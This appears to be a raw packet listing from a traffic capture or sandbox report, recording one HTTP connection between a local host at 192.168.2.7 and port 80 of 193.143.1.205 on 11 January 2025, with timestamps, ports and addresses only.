Jan 11, 2025 03:08:30.217109919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217147112 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.217359066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217456102 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217492104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217492104 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.217528105 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217566967 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.217597961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217634916 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217674017 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.217717886 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217755079 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217796087 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.217935085 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.217993021 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218028069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218033075 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218063116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218097925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218099117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218132019 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218168020 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218177080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218211889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218247890 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218369007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218410969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218451977 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218481064 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218517065 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218560934 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218664885 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218698978 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218734026 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218743086 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218769073 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218803883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218803883 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218838930 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218877077 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.218926907 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.218961000 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.219003916 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.262295961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.262348890 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.262366056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.262389898 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.262407064 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.262423992 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.262439966 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.262443066 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.262473106 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.266211987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.266227961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.266246080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.266266108 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.266318083 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.266334057 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.266350985 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.266408920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.266443968 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.300312996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300332069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300359011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300371885 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300386906 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300409079 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300410986 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.300426006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300474882 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.300494909 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.300606966 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.303560972 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303580999 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303597927 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303620100 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.303637981 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303654909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303670883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303714991 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.303780079 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303867102 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303881884 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.303997040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304107904 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.304141998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304193974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304208040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304269075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304275036 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.304332018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304348946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304352999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.304421902 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.304454088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304470062 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304533005 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.304629087 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304644108 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304660082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304697037 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.304790020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304806948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304843903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304866076 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.304867983 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.304891109 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305022955 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305038929 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305054903 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305105925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305105925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305227995 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305243015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305284977 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305299997 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305306911 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305316925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305382967 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305510044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305526018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305545092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305560112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305571079 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305576086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305593967 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305608034 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.305613995 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305634022 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.305680037 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.338625908 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.338685036 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.338701963 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.338756084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.338778973 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.338843107 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.349077940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.349118948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.349136114 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.349194050 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.349214077 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.349229097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.349267006 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.349366903 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.352966070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353007078 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353041887 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353063107 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.353116989 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353132963 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353190899 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353323936 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.353329897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353343010 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353358030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.353612900 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.387218952 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.387248993 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.387263060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.387310982 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.387346029 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.387346029 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.387353897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.387412071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.387413979 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.387476921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.387693882 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.390300035 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390353918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390367031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390418053 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.390440941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390456915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390522003 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.390583038 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390602112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390645027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390647888 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.390697956 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.390757084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390782118 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390829086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390842915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390850067 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.390893936 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390907049 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390914917 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.390953064 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.390976906 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391038895 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391052008 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391066074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391097069 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391115904 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391182899 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391196966 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391216040 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391232967 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391340971 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391356945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391359091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391503096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391518116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391566992 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391566992 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391567945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391583920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391635895 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391668081 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391758919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391773939 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391840935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391860962 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.391927004 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391942978 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.391947031 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.392039061 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.392106056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392121077 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392136097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392302990 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.392322063 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392338037 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392353058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392369032 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392371893 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.392385006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392401934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.392402887 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.392468929 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.393214941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.393264055 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.393280029 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.393330097 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.393377066 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.393397093 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.393412113 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.393431902 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.393445969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.393451929 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.393527031 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.425350904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.425378084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.425394058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.425470114 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.425483942 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.425506115 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.435976028 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.436022043 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.436036110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.436057091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.436081886 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.436191082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.436208010 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.436224937 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.436259985 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.436271906 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.436320066 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.439789057 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.439845085 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.439858913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.439990997 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.440006018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.440012932 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.440064907 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.440079927 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.440084934 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.440095901 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.440115929 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.443624973 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.474138021 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.474181890 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.474196911 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.474221945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.474236965 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.474246025 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.474252939 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.474272013 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.474318027 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.474530935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477083921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477133989 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477149963 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477159023 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477204084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477220058 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477229118 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477312088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477327108 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477334023 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477406979 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477420092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477430105 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477436066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477565050 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477580070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477586985 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477595091 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477617979 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477754116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477767944 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477772951 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477782965 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477839947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477857113 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.477907896 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477921009 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.477943897 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478014946 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478029013 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478032112 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478044033 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478059053 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478076935 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478332996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478352070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478357077 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478375912 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478391886 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478393078 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478408098 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478426933 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478674889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478689909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478704929 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478718996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478723049 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478918076 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478933096 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478935957 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478949070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478965044 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478966951 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.478981018 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.478996992 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479000092 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479017019 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 03:08:30.479295015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 03:08:30.479321003 CET	80	49701	193.143.1.205	192.168.2.7
